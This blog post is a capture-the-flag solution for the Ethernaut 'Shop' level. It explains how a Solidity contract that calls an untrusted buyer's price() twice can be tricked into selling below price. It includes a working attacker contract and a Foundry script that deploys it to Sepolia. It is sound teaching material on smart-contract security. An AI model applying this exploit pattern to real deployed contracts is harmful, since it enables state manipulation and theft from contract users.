# The Ethernaut CTF Solutions | 21 - Shop

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/21-shop-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/21-shop-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint);
}

contract Shop {
    uint public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}
```

## The hack

The goal of the Shop challenge is to buy an item from the contract at a discount. How to do that? Let's check the `buy()` function (it's not like we have many other functions to check anyway!):

```solidity
function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
}
```

It seems that only a price equal to or greater than the current price will be accepted. However, the `price()` function is not a simple getter, but rather an interface without any logic. So what if we could set our own logic?

This is quite similar to the level [11 - Elevator](https://blog.pedrojok.com/the-ethernaut-ctf-solutions-11-elevator). We can create a new contract that implements the `Buyer` interface and sets our custom logic for the `price()` function.

Now, we simply have to mess with this part:

```solidity
if (_buyer.price() >= price && !isSold) {
  isSold = true;
  price = _buyer.price();
}
```

Notice how the `price()` function is called twice:

* Once to check that the price paid is enough,
    
* Then again to set the price to its new value.
    

So we want `!sold` to be false and `price` to be more than 100 the first time to pass the condition, and then `!sold` to be true and `price` to be as little as possible the second time. And there will be our discount.

## Solution

Let's implement the code accordingly:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IShop {
    function isSold() external view returns (bool);
    function buy() external;
}

contract Discount {
    IShop shop;

    constructor(address _shop) {
        shop = IShop(_shop);
    }

    function price() public view returns (uint256) {
        return shop.isSold() ? 1 : 101;
    }

    function attack() public {
        shop.buy();
    }
}
```

Now, let's prepare the script in charge of deploying the `Discount` contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Discount} from "../src/21_Shop.sol";

interface IShop {
    function price() external view returns (uint256);
}

contract PoC is Script {
    // Replace with your Shop instance
    address private immutable shop = 0xb6fD536610887837a3452Ac249432bF9eF129e3a;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        console2.log("Initial price: ", IShop(shop).price());

        Discount discount = new Discount(shop);
        discount.attack();

        console2.log("Discounted price: ", IShop(shop).price());

        vm.stopBroadcast();
    }
}
```

Then run the script with the following command:

```bash
forge script script/21_Shop.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

Here is what should be printed in your console after running this script:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713855604480/29b9a084-db29-4813-80bc-9725f57530f3.png align="center")

*(I had already completed the challenge, that's why the* `Initial price` *was already 1.)*

**🎉 Level completed 🎉**

## Takeaway

* Don't change the state based on external and untrusted contracts logic.
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
